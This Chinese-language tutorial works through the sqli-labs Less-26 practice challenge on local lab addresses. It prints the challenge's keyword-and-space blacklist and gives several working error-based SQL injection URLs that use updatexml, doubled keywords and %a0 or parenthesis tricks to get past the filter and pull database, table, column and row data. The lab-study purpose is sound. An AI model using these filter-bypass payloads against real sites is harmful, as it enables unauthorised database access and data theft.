摘要 {#摘要}

本文介绍了如何利用Less-26来进行SQL注入实验。在实验过程中，需要注意如何判断注入点、哪些字符可用、哪些不可用，以及如何使用特殊字符替换空格等问题。此外，还介绍了在Windows平台上搭建的sqli-labs无法使用%0a或者%a0等字符替换的问题，而在Linux平台上则没有此问题。通过本文的介绍，读者可以更好地理解SQL注入的原理和实现方式，并提高防范SQL注入攻击的能力。

前言 {#前言}

当我们分析源码，看到其中过滤了很多东西，这次不仅过滤了and和or，甚至连一些注释字符和空格也被过滤了，按照前面的题的做法我们同样可以使用||代替，同样可以使用anandd和oorr代替，然后利用or '1'='1去闭合，然后空格我们也可以用一些特殊字符去代替，例如%0a换行%a0空格等等，本题推荐使用linux搭建的sqli-labs进行实验 源码如下

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

前期准备 {#前期准备}

开启phpstudy，开启apache服务以及mysql服务

实验环节 {#实验环节}

浏览器访问Less-26 {#浏览器访问Less-26}

http://192.168.199.135/sqli-labs-master/Less-26/

判断库名 {#判断库名}

http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(SELECT%a0database()),0x7e),1)|| '1'='1
#用%a0替换空格发现页面疑似编码报错，因为在 Windows 下会有无法用特殊字符代替空格的问题，这是 Apache 解析的问题，Linux 下无这个问题。
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)|| '1'='1
#如果遇到上面这种用%a0或者%0a都无法使用的情况下，这边给大家介绍一下另外一种小技巧，用（）将database()括起来，成功爆出库名

判断表名 {#判断表名}

#windows平台
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)='security'),0x7e),1)|| '1'='1
#kali部署的
http://192.168.199.129/Less-26/?id=1'|| updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)='security'),0x7e),1)|| '1'='1

判断列名 {#判断列名}

http://192.168.199.129/Less-26/?id=1'|| %a0updatexml(1,concat(0x7e,(select%a0column_name%a0from%a0 infoorrmation_schema.columns%a0where%a0table_schema='security'%a0%26%26 %a0table_name='emails'%a0 limit %a00,1),0x7e),1)|| '1'='1

判断数据 {#判断数据}

http://192.168.199.129/Less-26/?id=1'anandd%a0updatexml(1,concat(0x7e,(select%a0 id%a0 from%a0 emails %a0limit %a00,1),0x7e),1)|| '1'='1

小结 {#小结}

总的来说本题的关键在于怎么判断注入点，判断哪些字符可用哪些不可用，并使用特殊字符替换空格，并且在windows平台上搭建的sqli-labs无法使用%0a或者%a0等字符替换，linux没有此问题